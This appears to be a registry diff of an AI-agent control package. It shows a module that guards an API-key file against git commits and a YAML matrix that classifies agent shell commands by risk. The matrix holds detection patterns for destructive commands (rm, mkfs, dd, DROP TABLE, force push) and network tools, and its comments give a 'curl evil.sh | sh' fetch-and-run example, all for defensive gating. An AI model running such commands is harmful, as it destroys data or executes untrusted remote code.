handcode 0.3.0rc1__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (67) hide show
  1. agentctl/__init__.py +0 -0
  2. agentctl/adapters/__init__.py +0 -0
  3. agentctl/adapters/litellm/__init__.py +9 -0
  4. agentctl/adapters/litellm/hook.py +49 -0
  5. agentctl/adapters/litellm/recorder.py +187 -0
  6. agentctl/adapters/openhands/__init__.py +169 -0
  7. agentctl/adapters/openhands/handoff.py +155 -0
  8. agentctl/adapters/openhands/seam_b.py +259 -0
  9. agentctl/adapters/openhands/seam_c.py +209 -0
  10. agentctl/cli.py +1450 -0
  11. agentctl/control/__init__.py +0 -0
  12. agentctl/control/cost/__init__.py +4 -0
  13. agentctl/control/cost/ledger.py +210 -0
  14. agentctl/control/dash.py +697 -0
  15. agentctl/control/keys.py +440 -0
  16. agentctl/control/matrix/__init__.py +0 -0
  17. agentctl/control/matrix/data/tools.yaml +149 -0
  18. agentctl/control/policy/__init__.py +10 -0
  19. agentctl/control/policy/compile.py +258 -0
  20. agentctl/control/policy/data/policy.compiled.json +38 -0
  21. agentctl/control/policy/data/policy.yaml +46 -0
  22. agentctl/control/probe.py +399 -0
  23. agentctl/control/providers.py +293 -0
  24. agentctl/control/proxy.py +536 -0
  25. agentctl/control/proxyenv.py +309 -0
  26. agentctl/control/replay/__init__.py +14 -0
  27. agentctl/control/replay/cassette.py +281 -0
  28. agentctl/control/replay/server.py +109 -0
  29. agentctl/demo/__init__.py +214 -0
  30. agentctl/demo/child.py +84 -0
  31. agentctl/demo/mock.py +79 -0
  32. agentctl/demo/tool.py +62 -0
  33. agentctl/gha.py +488 -0
  34. agentctl/kernel/__init__.py +0 -0
  35. agentctl/kernel/classify.py +170 -0
  36. agentctl/kernel/gate.py +391 -0
  37. agentctl/kernel/hook.py +229 -0
  38. agentctl/kernel/ledger/__init__.py +0 -0
  39. agentctl/kernel/ledger/models.py +160 -0
  40. agentctl/kernel/ledger/schema.sql +62 -0
  41. agentctl/kernel/ledger/store.py +596 -0
  42. agentctl/kernel/paths.py +203 -0
  43. agentctl/kernel/policy.py +160 -0
  44. agentctl/kernel/reconcile/__init__.py +31 -0
  45. agentctl/kernel/reconcile/base.py +106 -0
  46. agentctl/kernel/reconcile/external.py +137 -0
  47. agentctl/kernel/reconcile/filesystem.py +162 -0
  48. agentctl/kernel/reconcile/git.py +162 -0
  49. agentctl/runtime/__init__.py +20 -0
  50. agentctl/runtime/citations.py +179 -0
  51. agentctl/runtime/config.py +97 -0
  52. agentctl/runtime/doctor.py +335 -0
  53. agentctl/runtime/init.py +148 -0
  54. agentctl/runtime/lease.py +143 -0
  55. agentctl/runtime/orchestrate.py +187 -0
  56. agentctl/runtime/plugins.py +130 -0
  57. agentctl/runtime/report.py +361 -0
  58. agentctl/runtime/runner.py +787 -0
  59. agentctl/runtime/runs.py +191 -0
  60. agentctl/runtime/subagent.py +274 -0
  61. agentctl/runtime/tools.py +350 -0
  62. handcode-0.3.0rc1.dist-info/METADATA +659 -0
  63. handcode-0.3.0rc1.dist-info/RECORD +67 -0
  64. handcode-0.3.0rc1.dist-info/WHEEL +5 -0
  65. handcode-0.3.0rc1.dist-info/entry_points.txt +3 -0
  66. handcode-0.3.0rc1.dist-info/licenses/LICENSE +21 -0
  67. handcode-0.3.0rc1.dist-info/top_level.txt +1 -0
@@ -0,0 +1,440 @@
1
+ r"""One file holding every provider key, and the guards that keep it private.
2
+
3
+ agentctl keys --init write a template listing every provider
4
+ agentctl keys show which are set, and where to get the rest
5
+
6
+ ## The file never reaches me, and never reaches git
7
+
8
+ Values are read from disk into the process environment and **never printed,
9
+ logged, echoed in an error, or shown by any command here** — `agentctl keys`
10
+ reports `set (73 chars)`, never the key. That is the same rule the runner
11
+ already follows for `OPENROUTER_API_KEY`.
12
+
13
+ The larger risk is not display, it is `git add -A`. A file of live API keys
14
+ committed to a public repository is the single worst outcome this project can
15
+ produce, so there are three independent guards:
16
+
17
+ 1. `--init` writes `.gitignore` entries before it writes the file
18
+ 2. `load()` refuses to proceed if the file is **tracked by git**, because at
19
+ that point ignoring it does nothing
20
+ 3. `check_not_tracked()` is called by `doctor`, so the warning appears even
21
+ when nobody is thinking about keys
22
+
23
+ Guard 2 is the one that matters. A `.gitignore` entry added *after* a file is
24
+ already tracked has no effect at all, and that is exactly how keys get
25
+ published — the ignore rule is there, everybody assumes it works, and the file
26
+ was staged before it existed.
27
+ """
28
+ from __future__ import annotations
29
+
30
+ import os
31
+ import re
32
+ import subprocess
33
+ from pathlib import Path
34
+
35
+ from .providers import PROVIDERS
36
+
37
+ # Outside any repository, so no `git add -A` anywhere can reach it. This is
38
+ # the default for `--init` because a gitignore rule is a promise and a
39
+ # different directory is a fact.
40
+ HOME_PATH = Path.home() / ".agentctl" / "keys.env"
41
+ LOCAL_PATH = Path("keys.env")
42
+
43
+ # Anything matching these is a secret file we never want in a commit.
44
+ GITIGNORE_LINES = ("keys.env", ".env", "*.env", "!*.env.template")
45
+
46
+
47
+ def search_paths() -> list[Path]:
48
+ """Where a keys file may live, nearest first.
49
+
50
+ `AGENTCTL_KEYS` wins, then a project-local file, then the home file. A
51
+ project-local one is supported because people expect it, and warned about
52
+ because it sits inside a repository.
53
+ """
54
+ out = []
55
+ if (explicit := os.environ.get("AGENTCTL_KEYS")):
56
+ out.append(Path(explicit))
57
+ out += [LOCAL_PATH, HOME_PATH]
58
+ return out
59
+
60
+
61
+ def resolve() -> Path | None:
62
+ """The keys file actually in use, or None."""
63
+ for p in search_paths():
64
+ if p.exists():
65
+ return p
66
+ return None
67
+
68
+
69
+ # Back-compat for callers that pass nothing.
70
+ DEFAULT_PATH = LOCAL_PATH
71
+
72
+ _LINE = re.compile(r"""^\s*(?:export\s+)?([A-Za-z_][A-Za-z0-9_]*)\s*=\s*(.*)$""")
73
+
74
+
75
+ class KeysAreTracked(RuntimeError):
76
+ """The keys file is in git. Ignoring it now changes nothing."""
77
+
78
+
79
+ def set_value(path: str | Path, name: str, value: str) -> Path:
80
+ """Put one key into a keys file: replace its line, or append one.
81
+
82
+ For `agentctl init`. The ignore rules are written FIRST (`write_template`
83
+ does that and never overwrites a filled file), and the value is never
84
+ printed, logged or returned -- only the path is.
85
+ """
86
+ if not re.fullmatch(r"[A-Za-z_][A-Za-z0-9_]*", name):
87
+ raise ValueError(f"not a variable name: {name!r}")
88
+ if not value or any(c in value for c in "\r\n"):
89
+ raise ValueError("a key is one non-empty line")
90
+ p, _ = write_template(path)
91
+ lines = p.read_text(encoding="utf-8").splitlines()
92
+ for i, raw in enumerate(lines):
93
+ m = _LINE.match(raw.strip())
94
+ if m and m.group(1) == name and not raw.lstrip().startswith("#"):
95
+ lines[i] = f"{name}={value}"
96
+ break
97
+ else:
98
+ lines.append(f"{name}={value}")
99
+ p.write_text("\n".join(lines) + "\n", encoding="utf-8")
100
+ try:
101
+ os.chmod(p, 0o600) # no-op on Windows
102
+ except Exception: # noqa: BLE001
103
+ pass
104
+ return p
105
+
106
+
107
+ # ── reading ────────────────────────────────────────────────────────────
108
+ def parse(text: str) -> dict[str, str]:
109
+ """A minimal .env parser. No dependency, no surprises.
110
+
111
+ Handles `KEY=value`, `export KEY=value`, quotes, blank lines and `#`
112
+ comments. Deliberately does not do variable interpolation: a key is a
113
+ literal, and `$` inside one is a character, not a reference.
114
+ """
115
+ out: dict[str, str] = {}
116
+ for raw in text.splitlines():
117
+ line = raw.strip()
118
+ if not line or line.startswith("#"):
119
+ continue
120
+ m = _LINE.match(line)
121
+ if not m:
122
+ continue
123
+ name, value = m.group(1), m.group(2).strip()
124
+ if len(value) >= 2 and value[0] == value[-1] and value[0] in "\"'":
125
+ value = value[1:-1]
126
+ else:
127
+ value = value.split(" #")[0].strip()
128
+ if value:
129
+ out[name] = value
130
+ return out
131
+
132
+
133
+ def _git(path: Path, *args: str) -> subprocess.CompletedProcess | None:
134
+ """Run git with the keys file's own directory as cwd.
135
+
136
+ The directory matters. `~/.agentctl/keys.env` may sit inside a repository
137
+ that has nothing to do with this project — on the machine this was written
138
+ on, the home directory itself is a repo with an unrelated remote. Asking
139
+ git from the wrong cwd answers about the wrong repository.
140
+ """
141
+ try:
142
+ return subprocess.run(["git", *args], capture_output=True, text=True,
143
+ cwd=str(path.parent if path.parent.exists() else "."))
144
+ except Exception: # noqa: BLE001
145
+ return None # no git: not our problem
146
+
147
+
148
+ def enclosing_repo(path: str | Path) -> Path | None:
149
+ """The repository the keys file lives inside, if any."""
150
+ p = Path(path)
151
+ r = _git(p, "rev-parse", "--show-toplevel")
152
+ if r is None or r.returncode != 0:
153
+ return None
154
+ return Path(r.stdout.strip()) if r.stdout.strip() else None
155
+
156
+
157
+ def check_not_tracked(path: str | Path = DEFAULT_PATH) -> str | None:
158
+ """Is the keys file exposed to git? Returns a warning, or None.
159
+
160
+ Two distinct states, and the second is the one worth catching, because it
161
+ is the moment *before* the accident rather than after:
162
+
163
+ * **tracked** — already committed. The keys must be assumed public.
164
+ * **inside a repo and not ignored** — one `git add -A` away from that.
165
+ """
166
+ p = Path(path)
167
+ if not p.exists():
168
+ return None
169
+
170
+ r = _git(p, "ls-files", "--error-unmatch", str(p))
171
+ if r is None:
172
+ return None
173
+ if r.returncode == 0:
174
+ return (f"{p} is TRACKED BY GIT. A .gitignore entry does nothing once a "
175
+ f"file is tracked. Run: git rm --cached {p} and rotate every "
176
+ f"key in it — assume they are public.")
177
+
178
+ repo = enclosing_repo(p)
179
+ if repo is None:
180
+ return None # not in a repo: safe
181
+ ig = _git(p, "check-ignore", "-q", str(p))
182
+ if ig is not None and ig.returncode != 0:
183
+ return (f"{p} sits inside the git repository at {repo} and is NOT "
184
+ f"ignored there. One `git add -A` would stage your keys. "
185
+ f"Fix: echo '{p.name}' >> {repo / '.gitignore'}")
186
+ return None
187
+
188
+
189
+ def load(path: str | Path = DEFAULT_PATH, *, override: bool = False) -> list[str]:
190
+ """Load keys into `os.environ`. Returns the NAMES set, never the values.
191
+
192
+ An existing environment variable wins unless `override=True`: something
193
+ already exported is a deliberate act, and a file should not silently
194
+ replace it.
195
+ """
196
+ p = Path(path)
197
+ if not p.exists():
198
+ return []
199
+
200
+ if (warning := check_not_tracked(p)):
201
+ raise KeysAreTracked(warning)
202
+
203
+ loaded = []
204
+ for name, value in parse(p.read_text(encoding="utf-8")).items():
205
+ if override or not os.environ.get(name):
206
+ os.environ[name] = value
207
+ loaded.append(name)
208
+ return loaded
209
+
210
+
211
+ def load_all(override: bool = False) -> tuple[Path | None, list[str]]:
212
+ """Load from the first keys file that exists. Returns (path, NAMES)."""
213
+ p = resolve()
214
+ return (p, load(p, override=override)) if p else (None, [])
215
+
216
+
217
+ def load_quietly(path: str | Path | None = None) -> list[str]:
218
+ """`load`, but a tracked-file refusal becomes a warning on stderr.
219
+
220
+ Used on the CLI's startup path. Refusing to run at all would be the safer
221
+ reflex and the wrong one here: the key is already exposed, and preventing
222
+ the user from using their own tool does not un-expose it. Being loud does.
223
+ """
224
+ import sys
225
+
226
+ path = path or resolve()
227
+ if path is None:
228
+ return []
229
+ try:
230
+ return load(path)
231
+ except KeysAreTracked as e:
232
+ print(f"\n !! {e}\n", file=sys.stderr)
233
+ try:
234
+ return [n for n, v in parse(Path(path).read_text(encoding="utf-8")).items()
235
+ if not os.environ.get(n) and not os.environ.__setitem__(n, v)]
236
+ except Exception: # noqa: BLE001
237
+ return []
238
+
239
+
240
+ # ── writing the template ───────────────────────────────────────────────
241
+ def template(extra_slots: int = 2) -> str:
242
+ """The file to paste keys into. Multiple accounts per provider.
243
+
244
+ `extra_slots` commented lines per provider show the naming convention, so
245
+ adding a second account is uncommenting a line rather than reading docs.
246
+ """
247
+ lines = [
248
+ "# ════════════════════════════════════════════════════════════════",
249
+ "# agentctl provider keys NEVER COMMIT THIS FILE",
250
+ "# ════════════════════════════════════════════════════════════════",
251
+ "#",
252
+ "# Paste keys after the `=`. No quotes needed, no spaces around it.",
253
+ "# Blank lines are fine -- leave anything you do not have empty.",
254
+ "#",
255
+ "# Values are read into the environment and NEVER printed, logged, or",
256
+ "# shown by any command. `agentctl keys` says `set (73 chars)`.",
257
+ "#",
258
+ "# ── MORE THAN ONE KEY ───────────────────────────────────────────",
259
+ "#",
260
+ "# One key is enough to start. A daily cap on it stops work until it",
261
+ "# resets; a key at a SECOND PROVIDER survives that, and survives the",
262
+ "# first provider going down.",
263
+ "#",
264
+ "# Extra keys at the same provider are accepted with any suffix:",
265
+ "#",
266
+ "# OPENROUTER_API_KEY=sk-or-v1-.... <- first key",
267
+ "# OPENROUTER_API_KEY_WORK=sk-or-v1-... <- another account",
268
+ "#",
269
+ "# Each becomes its own deployment in the pool (`docs/0033`). Whether",
270
+ "# it is a separate quota is UNVERIFIED, and pooling several free",
271
+ "# accounts may be against that provider's terms. Check both before",
272
+ "# relying on it (`docs/0042` §4.C).",
273
+ "#",
274
+ "# ── AFTER EDITING ───────────────────────────────────────────────",
275
+ "#",
276
+ "# agentctl keys what is set now",
277
+ "# agentctl dash whether failover is actually ready",
278
+ "# agentctl proxy rebuild the pool from these keys",
279
+ "#",
280
+ "",
281
+ ]
282
+ for p in PROVIDERS:
283
+ lines.append("# " + "─" * 62)
284
+ lines.append(f"# {p.name.upper()}{'' if p.free_tier else ' (PAID -- costs money)'}")
285
+ lines.append(f"# get a key: {p.console}")
286
+ for i, step in enumerate(p.steps, 1):
287
+ lines.append(f"# {i}. {step}")
288
+ if p.note:
289
+ # Label the first wrapped line, indent the continuations. The
290
+ # first version compared chunks with `is`, which is identity on
291
+ # strings and was never true, so no note was ever labelled.
292
+ for i, chunk in enumerate(_wrap(p.note, 66)):
293
+ lines.append(f"# note: {chunk}" if i == 0
294
+ else f"# {chunk}")
295
+ lines.append("")
296
+ lines.append(f"{p.key}=")
297
+ for n in range(2, extra_slots + 2):
298
+ lines.append(f"# {p.key}_{n}=")
299
+ lines.append("")
300
+ return "\n".join(lines)
301
+
302
+
303
+ def _wrap(text: str, width: int) -> list[str]:
304
+ import textwrap
305
+ return textwrap.wrap(text, width) or [text]
306
+
307
+
308
+ def write_template(path: str | Path | None = None,
309
+ gitignore: str | Path | None = None) -> tuple[Path, bool]:
310
+ """Write the template, ignoring it FIRST. Never overwrites a filled file.
311
+
312
+ Defaults to `~/.agentctl/keys.env`, outside any repository. A gitignore
313
+ entry is a promise that has to be kept by every future `git add`; a
314
+ different directory is a fact that holds regardless.
315
+ """
316
+ p = Path(path) if path else HOME_PATH
317
+ p.parent.mkdir(parents=True, exist_ok=True)
318
+
319
+ # Ignore rules FIRST, and in the repository that actually contains the
320
+ # file. The first version wrote them into the current project's
321
+ # `.gitignore` while placing the file under `~/.agentctl` — which on this
322
+ # machine is inside a *different* repo, leaving the file unprotected in the
323
+ # only repo that could commit it (`docs/0033` §5).
324
+ #
325
+ # The cwd's `.gitignore` is no longer a default target: it protects the
326
+ # file only when the file is inside the cwd's repository, which the
327
+ # enclosing-repo rule already covers. Otherwise it was a stray write into
328
+ # whatever directory `--init` ran in -- someone else's project, or no
329
+ # repository at all (`docs/0044` N8). An explicit `gitignore` still wins.
330
+ repo = enclosing_repo(p)
331
+ targets = {Path(gitignore)} if gitignore else set()
332
+ if repo:
333
+ targets.add(repo / ".gitignore")
334
+ for target in targets:
335
+ try:
336
+ ensure_ignored(target, name=p.name)
337
+ except Exception: # noqa: BLE001
338
+ pass # not a repo: fine
339
+ if p.exists():
340
+ return p, False
341
+ p.parent.mkdir(parents=True, exist_ok=True)
342
+ p.write_text(template(), encoding="utf-8")
343
+ try:
344
+ os.chmod(p, 0o600) # no-op on Windows
345
+ except Exception: # noqa: BLE001
346
+ pass
347
+ return p, True
348
+
349
+
350
+ def ensure_ignored(gitignore: str | Path = ".gitignore",
351
+ name: str | None = None) -> bool:
352
+ """Add the ignore rules if absent. Called BEFORE the file is created.
353
+
354
+ `name` adds the specific filename too, so a keys file with an unusual name
355
+ is covered as well as the generic `*.env` patterns.
356
+ """
357
+ g = Path(gitignore)
358
+ have = g.read_text(encoding="utf-8") if g.exists() else ""
359
+ wanted = list(GITIGNORE_LINES) + ([name] if name else [])
360
+ need = [l for l in dict.fromkeys(wanted) if l not in have.splitlines()]
361
+ if not need:
362
+ return False
363
+ g.parent.mkdir(parents=True, exist_ok=True)
364
+ with g.open("a", encoding="utf-8", newline="\n") as fh:
365
+ fh.write("\n# Provider API keys. Written by `agentctl keys --init`.\n")
366
+ fh.write("\n".join(need) + "\n")
367
+ return True
368
+
369
+
370
+ # ── blocking a commit that contains a real key ─────────────────────────
371
+ def scan_text(text: str, values: set[str] | None = None) -> list[str]:
372
+ """Which of YOUR keys appear in `text`. Returns env names, never values.
373
+
374
+ Compares against the credentials you actually hold rather than against a
375
+ shape. A regex for `sk-[A-Za-z0-9]{20,}` flags every placeholder in every
376
+ test file, and a check that cries wolf is one people learn to ignore --
377
+ which is worse than no check, because it is mistaken for protection.
378
+ """
379
+ path = resolve()
380
+ if values is None:
381
+ if path is None:
382
+ return []
383
+ values = set()
384
+ pairs = parse(path.read_text(encoding="utf-8"))
385
+ else:
386
+ pairs = {}
387
+ names = []
388
+ for name, value in (pairs.items() if pairs else []):
389
+ # Short values are not credentials and would match everywhere.
390
+ if value and len(value) >= 16 and value in text:
391
+ names.append(name)
392
+ for value in values:
393
+ if value and len(value) >= 16 and value in text:
394
+ names.append("<supplied>")
395
+ return names
396
+
397
+
398
+ def scan_staged() -> list[str]:
399
+ """Real keys present in what git is about to commit."""
400
+ r = subprocess.run(["git", "diff", "--cached"], capture_output=True,
401
+ text=True, encoding="utf-8", errors="replace")
402
+ if r.returncode != 0:
403
+ return []
404
+ return scan_text(r.stdout)
405
+
406
+
407
+ PRE_COMMIT_HOOK = """#!/bin/sh
408
+ # Installed by `agentctl keys --install-hook`.
409
+ # Refuses any commit containing a credential from your keys file.
410
+ exec "{python}" -c "
411
+ import sys
412
+ sys.path.insert(0, r'{root}')
413
+ from agentctl.control.keys import scan_staged
414
+ hits = scan_staged()
415
+ if hits:
416
+ print('COMMIT BLOCKED: these keys appear in the staged changes:')
417
+ for h in sorted(set(hits)):
418
+ print(' ', h)
419
+ print('Remove them, then commit. If one was already pushed, rotate it.')
420
+ raise SystemExit(1)
421
+ "
422
+ """
423
+
424
+
425
+ def install_hook(repo: str | Path = ".") -> Path:
426
+ """Install the pre-commit guard in `repo`."""
427
+ import sys
428
+
429
+ hooks = Path(repo) / ".git" / "hooks"
430
+ hooks.mkdir(parents=True, exist_ok=True)
431
+ p = hooks / "pre-commit"
432
+ p.write_text(
433
+ PRE_COMMIT_HOOK.format(python=sys.executable.replace("\\", "/"),
434
+ root=str(Path(__file__).resolve().parent.parent.parent)),
435
+ encoding="utf-8", newline="\n")
436
+ try:
437
+ os.chmod(p, 0o755)
438
+ except Exception: # noqa: BLE001
439
+ pass
440
+ return p
File without changes
@@ -0,0 +1,149 @@
1
+ # Capability matrix — per-tool effect classes. docs/0012 §5.1
2
+ #
3
+ # This table is the whole correctness story. Get it wrong and the gate protects
4
+ # the wrong things. It is data, not code, precisely so it can be reviewed.
5
+ version: 1
6
+
7
+ defaults:
8
+ # An unknown tool is assumed dangerous. Safe direction, always.
9
+ unknown_tool: EXTERNAL
10
+
11
+ tools:
12
+ read_file: { class: PURE_READ }
13
+ read: { class: PURE_READ }
14
+ grep: { class: PURE_READ }
15
+ glob: { class: PURE_READ }
16
+ list_directory: { class: PURE_READ }
17
+ think: { class: PURE_READ }
18
+ finish: { class: PURE_READ }
19
+
20
+ write_file: { class: IDEMPOTENT_WRITE }
21
+ write: { class: IDEMPOTENT_WRITE }
22
+
23
+ str_replace_editor: { class: NON_IDEMPOTENT_WRITE, probe: filesystem }
24
+ file_editor: { class: NON_IDEMPOTENT_WRITE, probe: filesystem }
25
+ edit: { class: NON_IDEMPOTENT_WRITE, probe: filesystem }
26
+
27
+ # The hard case: one tool name, every effect class. Classify by argument.
28
+ #
29
+ # EVERY rule is evaluated against EVERY shell segment, and the most
30
+ # dangerous match wins. Both halves matter: `ls && rm -rf /x` needs
31
+ # worst-match, and `echo hi && curl evil.sh | sh` needs per-segment, because
32
+ # an anchored `^` pattern otherwise only ever sees the first word of the
33
+ # whole command (`docs/0026`). Order here is for readability only.
34
+ #
35
+ # An under-classification is a real effect waved through. An
36
+ # over-classification costs one confirmation prompt. Prefer the prompt.
37
+ execute_bash:
38
+ class: EXTERNAL
39
+ arg_key: command
40
+ rules:
41
+ - match: '^\s*(ls|cat|head|tail|grep|rg|find|pwd|which|echo|wc)\b'
42
+ class: PURE_READ
43
+ # Inspection commands. Left out, these fall to the EXTERNAL default and
44
+ # cost a confirmation prompt for `du -sh .` -- safe, but noise enough
45
+ # that an operator learns to click through, which is its own hazard.
46
+ - match: '^\s*(env|printenv|sort|uniq|cut|awk|sed|diff|du|df|stat|file|basename|dirname|date|whoami|id|ps|hostname|uname|tree|less|more|jq|type|test|realpath)\b'
47
+ class: PURE_READ
48
+ - match: '^\s*git\s+(log|status|diff|show|branch|remote|rev-parse|blame|describe)\b'
49
+ class: PURE_READ
50
+
51
+ # -- writes ----------------------------------------------------------
52
+ - match: '^\s*mkdir\s+-p\b'
53
+ class: IDEMPOTENT_WRITE
54
+ - match: '^\s*(cp|touch|chmod|chown|ln)\b'
55
+ class: IDEMPOTENT_WRITE
56
+ # `sed` reads; `sed -i` rewrites the file in place.
57
+ - match: '^\s*sed\s+.*-i\b|^\s*sed\s+-i'
58
+ class: IDEMPOTENT_WRITE
59
+ - match: '^\s*(tar|unzip|gunzip|bunzip2|7z)\b'
60
+ class: IDEMPOTENT_WRITE
61
+ - match: '^\s*mv\b'
62
+ class: NON_IDEMPOTENT_WRITE
63
+ probe: filesystem
64
+ # A truncating redirect writes a file, whatever produced the bytes.
65
+ # `cat secrets > /tmp/x` is not a read. Excludes `>>` and `2>&1`.
66
+ - match: '(?<![>&\-])>(?![>&])'
67
+ class: IDEMPOTENT_WRITE
68
+ - match: '>>' # append redirect
69
+ class: NON_IDEMPOTENT_WRITE
70
+ probe: filesystem
71
+
72
+ # -- destructive -----------------------------------------------------
73
+ # `rm` in ANY spelling. The old rule caught only `rm -rf`, so plain
74
+ # `rm file.txt` fell through to the EXTERNAL default and never prompted.
75
+ - match: '(^|[\s;&|])rm\b'
76
+ class: DESTRUCTIVE
77
+ - match: '^\s*(del|erase)\b'
78
+ class: DESTRUCTIVE
79
+ - match: '^\s*(rd|rmdir)\b'
80
+ class: DESTRUCTIVE
81
+ - match: '^\s*Remove-Item\b'
82
+ class: DESTRUCTIVE
83
+ - match: '^\s*format\s+[A-Za-z]:'
84
+ class: DESTRUCTIVE
85
+ - match: '(^|[\s;&|])(shred|truncate|mkfs\S*|fdisk)\b'
86
+ class: DESTRUCTIVE
87
+ - match: '\bdd\s+if='
88
+ class: DESTRUCTIVE
89
+ - match: '\bfind\b.*(-delete|-exec\s+rm)\b'
90
+ class: DESTRUCTIVE
91
+ - match: '\bDROP\s+(TABLE|DATABASE)\b'
92
+ class: DESTRUCTIVE
93
+ # git operations that destroy work that was never committed
94
+ - match: '^\s*git\s+reset\s+.*--hard\b'
95
+ class: DESTRUCTIVE
96
+ - match: '^\s*git\s+clean\b'
97
+ class: DESTRUCTIVE
98
+ - match: '^\s*git\s+(checkout|restore)\s+(--|\.)'
99
+ class: DESTRUCTIVE
100
+ - match: '^\s*git\s+branch\s+-[dD]\b'
101
+ class: DESTRUCTIVE
102
+ # Found by the hold-out set, not by design (`docs/0026` §4).
103
+ - match: '^\s*git\s+stash\s+(drop|clear)\b'
104
+ class: DESTRUCTIVE
105
+ - match: '\b(git\s+push\s+.*--force|--force-with-lease)'
106
+ class: DESTRUCTIVE
107
+ # orchestration verbs that remove or halt running things
108
+ - match: '\b(kubectl|docker|podman)\s+(rm|rmi|delete|kill|down)\b'
109
+ class: DESTRUCTIVE
110
+ - match: '\b(systemctl|service)\s+(stop|disable|mask)\b'
111
+ class: DESTRUCTIVE
112
+ - match: '^\s*(shutdown|reboot|halt|pkill|killall)\b'
113
+ class: DESTRUCTIVE
114
+
115
+ # -- reaches someone else's machine ----------------------------------
116
+ - match: '^\s*git\s+(commit|tag|merge|rebase|cherry-pick)\b'
117
+ class: NON_IDEMPOTENT_WRITE
118
+ probe: git
119
+ - match: '^\s*git\s+push\b'
120
+ class: EXTERNAL
121
+ probe: git
122
+ - match: '^\s*(curl|wget|http|ssh|scp|rsync)\b'
123
+ class: EXTERNAL
124
+ - match: '^\s*(pip|pip3|npm|pnpm|yarn|apt|apt-get|brew)\s+(install|add|upgrade)\b'
125
+ class: EXTERNAL
126
+
127
+ bash: { alias: execute_bash }
128
+
129
+ # EXTERNAL effects reach somebody else's server, so they cannot be
130
+ # fingerprinted. Declaring the argument that carries an idempotency key is
131
+ # what makes a retry safe instead of fail-closed. docs/0020
132
+ http_post:
133
+ class: EXTERNAL
134
+ idempotency_key: idempotency_key
135
+ http_request:
136
+ class: EXTERNAL
137
+ idempotency_key: idempotency_key
138
+
139
+ # No key mechanism declared -> stays fail-closed, which is correct.
140
+ send_email: { class: EXTERNAL }
141
+
142
+ # MCP tools are remote, third-party and opaque. docs/0010 §8.2
143
+ mcp:
144
+ default: EXTERNAL
145
+ servers:
146
+ filesystem:
147
+ tools:
148
+ read_file: PURE_READ
149
+ list_directory: PURE_READ
@@ -0,0 +1,10 @@
1
+ """Policy: compiled out-of-band, read in-band. M7.
2
+
3
+ from agentctl.control.policy import compile_policy, compile_to, PolicyError
4
+
5
+ The kernel reads the compiled artifact via `agentctl.kernel.policy.Policy` and
6
+ never imports this module -- `docs/0008` R2.
7
+ """
8
+ from .compile import EFFECT_RULES, PolicyError, compile_policy, compile_to
9
+
10
+ __all__ = ["compile_policy", "compile_to", "PolicyError", "EFFECT_RULES"]